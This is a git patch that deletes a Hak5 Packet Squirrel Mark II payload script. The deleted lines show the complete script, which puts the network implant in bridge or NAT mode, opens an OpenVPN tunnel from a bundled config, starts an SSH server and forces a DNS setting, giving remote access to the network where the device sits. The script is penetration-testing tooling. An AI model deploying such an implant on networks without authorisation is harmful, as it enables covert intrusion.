From c336c22ad554b9ccdab1393ece08a148a50ea0fa Mon Sep 17 00:00:00 2001 From: rf-bandit <111388888+rf-bandit@users.noreply.github.com> Date: Wed, 12 Feb 2025 12:27:44 -0700 Subject: [PATCH] Delete payloads/ /remote-access/openvpn-Mkii/payload.sh --- .../ /remote-access/openvpn-Mkii/payload.sh | 56 ------------------- 1 file changed, 56 deletions(-) delete mode 100644 payloads/ /remote-access/openvpn-Mkii/payload.sh diff --git a/payloads/ /remote-access/openvpn-Mkii/payload.sh b/payloads/ /remote-access/openvpn-Mkii/payload.sh deleted file mode 100644 index 7af220a..0000000 --- a/payloads/ /remote-access/openvpn-Mkii/payload.sh +++ /dev/null @@ -1,56 +0,0 @@ -#!/bin/bash -# -# This payload is modified from a payload for the original Packet Squirrel to work on -# the Packet Squirrel Mark II. -# More info here: https://www.youtube.com/watch?v=OlKztGlt8VA -# -# Title: OpenVPN-Mkii -# Description: Create a connection to a VPN-connection to an OpenVPN-server. Optionally: Send traffic from the clients through said tunnel. -# Author: Hak5, rf_bandit -# Version: 1.1 -# Category: remote-access -# Target: Any -# Net Mode: BRIDGE, NAT - -# Set to 1 to allow clients to use the VPN -FOR_CLIENTS=0 -# - -DNS_SERVER="8.8.8.8" - -# Cheap hack to set the DNS server -function setdns() { - while true - do - [[ ! $(grep -q "$DNS_SERVER" /tmp/resolv.conf) ]] && { - echo -e "search lan\nnameserver $DNS_SERVER" > /tmp/resolv.conf - } - sleep 5 - done -} - -function start() { - LED SETUP - DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) - if [ $FOR_CLIENTS = 1 ]; then /usr/bin/NETMODE NAT && /usr/bin/LED G SINGLE; else /usr/bin/NETMODE BRIDGE && /usr/bin/LED Y SINGLE; fi - - - sleep 3 - - # Make OpenVPN use the local configuration - uci set openvpn.vpn.config="${DIR}/config.ovpn" - uci commit - - # Start the OpenVPN server in the background - /etc/init.d/openvpn start - - # Start SSH Server - SSH_START - # Set DNS server - setdns & - - #LED ATTACK -} - -# Start the payload -start &